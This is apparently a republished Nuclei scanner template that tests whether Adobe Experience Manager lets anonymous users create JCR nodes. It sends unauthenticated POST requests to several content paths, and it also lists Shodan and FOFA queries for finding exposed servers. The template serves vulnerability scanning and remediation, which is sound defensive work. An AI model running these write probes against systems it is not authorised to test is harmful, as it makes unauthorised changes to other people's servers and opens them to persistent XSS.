aem-anonymous-write: Adobe Experience Manager (AEM) - Anonymous JCR Node Creation

2025-12-02 Adobe Experience Manager PoC Public

Description

Anonymous users can create new JCR nodes via the AEM POST Servlet, which may allow attackers to inject malicious content, achieve persistent XSS, or abuse servlets registered by resource types for further attacks.

PoC

id: aem-anonymous-write

info:
  name: Adobe Experience Manager (AEM) - Anonymous JCR Node Creation
  author: DhiyaneshDk,0ang3el
  severity: high
  description: |
    Anonymous users can create new JCR nodes via the AEM POST Servlet, which may allow attackers to inject malicious content, achieve persistent XSS, or abuse servlets registered by resource types for further attacks.
  impact: |
    Successful exploitation allows unauthenticated attackers to create arbitrary JCR nodes, potentially leading to persistent cross-site scripting (XSS), content injection, or exploitation of servlets registered to handle specific resource types.
  remediation: |
    Configure proper access control lists (ACLs) on AEM paths to prevent anonymous users from creating JCR nodes. Review and restrict permissions on the POST servlet to authenticated users only.
  reference:
    - https://clarkvoss.medium.com/the-cve-that-will-never-die-86149b450840
    - https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
  classification:
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: adobe
    product: experience_manager
    fofa-query: body="/libs/granite/core/content/login.html"
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,adobe,intrusive,node,vuln

flow: http(1) && http(2)

variables:
  nodename: "{{to_lower(rand_text_alpha(5))}}"
  random: "{{to_lower(rand_text_alpha(10))}}"
  marker: "{{to_lower(rand_text_alpha(6))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2

    matchers:
      - type: word
        part: body
        words:
          - "Welcome to Adobe Experience Manager"
        internal: true

  - raw:
      - |
        POST {{path}}{{extension}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <html>{{marker}}</html>
    payloads:
      path:
        - '/'
        - '/apps/'
        - '/libs/'
        - '/content/'
        - '/content/usergenerated/'
        - '/content/usergenerated/etc/commerce/smartlists/'

      extension:
        - '{{nodename}}*'
        - '{{nodename}}.json'
        - '{{nodename}}.1.json'
        - '{{nodename}}.json/{{random}}.css'
        - '{{nodename}}.json/{{random}}.html'

    attack: clusterbomb

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td>Parent Location</td>'

      - type: status
        status:
          - 201
# digest: 4a0a00473045022026fbe4f90212a825e5e7eb5ad53abc694b5e8d3e03150455615624209320cd67022100bdfb83718b7c6d26647c8dc85807170702a15a5d45c88394f97262d18abde8a1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/aem/aem-anonymous-write.yaml

References

Related Vulnerabilities